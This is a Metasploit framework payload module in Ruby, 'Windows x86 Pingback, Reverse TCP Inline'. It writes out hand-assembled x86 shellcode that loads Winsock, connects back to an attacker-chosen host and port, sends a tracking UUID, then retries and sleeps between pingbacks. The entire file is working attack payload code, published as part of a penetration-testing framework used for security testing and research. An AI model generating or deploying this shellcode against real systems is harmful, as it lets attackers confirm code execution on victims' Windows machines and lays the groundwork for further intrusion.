## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## module MetasploitModule CachedSize = 307 include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Pingback include Msf::Payload::Windows::BlockApi include Msf::Payload::Pingback::Options include Msf::Payload::Windows::Exitfunk def initialize(info = {}) super( merge_info( info, 'Name' => 'Windows x86 Pingback, Reverse TCP Inline', 'Description' => 'Connect back to attacker and report UUID (Windows x86)', 'Author' => [ 'bwatters-r7' ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, 'Session' => Msf::Sessions::Pingback ) ) def required_space # Start with our cached default generated size space = cached_size # EXITFUNK 'seh' is the worst case, that adds 15 bytes space += 15 space end def generate(_opts = {}) encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N') encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack1('V') retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max pingback_count = datastore['PingbackRetries'] pingback_sleep = datastore['PingbackSleep'] self.pingback_uuid ||= generate_pingback_uuid uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x') conf = { exitfunk: datastore['EXITFUNC'] } asm = %^ cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: pop ebp ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) reverse_tcp: push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. push 'ws2_' ; ... push esp ; Push a pointer to the "ws2_32" string on the stack. push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} mov eax, ebp call eax ; LoadLibraryA( "ws2_32" ) mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) sub esp, eax ; alloc some space for the WSAData structure push esp ; push a pointer to this struct push eax ; push the wVersionRequested parameter push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} call ebp ; WSAStartup( 0x0190, &WSAData ); set_address: push #{pingback_count} ; retry counter push #{retry_count} ; retry counter push #{encoded_host} ; host in little-endian format push #{encoded_port} ; family AF_INET and port number mov esi, esp ; save pointer to sockaddr struct create_socket: push eax ; if we succeed, eax will be zero, push zero for the flags param. push eax ; push null for reserved parameter push eax ; we do not specify a WSAPROTOCOL_INFO structure push eax ; we do not specify a protocol inc eax ; push eax ; push SOCK_STREAM inc eax ; push eax ; push AF_INET push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); xchg edi, eax ; save the socket for later, don't care about the value of eax after this try_connect: push 16 ; length of the sockaddr struct push esi ; pointer to the sockaddr struct push edi ; the socket push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} call ebp ; connect( s, &sockaddr, 16 ); test eax,eax ; non-zero means a failure jz connected handle_connect_failure: ; decrement our attempt count and try again dec dword [esi+8] jnz try_connect failure: call exitfunk ; this label is required so that reconnect attempts include ; the UUID stuff if required. connected: send_pingback: push 0 ; flags push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID call get_pingback_address ; put pingback_uuid buffer on the stack db #{uuid_as_db} ; PINGBACK_UUID get_pingback_address: push edi ; saved socket push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')} call ebp ; call send cleanup_socket: ; clear up the socket push edi ; socket handle push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} call ebp ; closesocket(socket) ^ if pingback_count > 0 asm << %^ mov eax, [esi+12] test eax, eax ; pingback counter jz exitfunk dec [esi+12] sleep: push #{(pingback_sleep * 1000)} push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} call ebp ;sleep(pingback_sleep * 1000) jmp create_socket ^ end asm << %( ; restore the stack back to the connection retry count dec [esi+8] ; decrement the retry counter jmp exitfunk ; try again jnz create_socket jmp failure ) if conf[:exitfunk] asm << asm_exitfunk(conf) end Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string end end end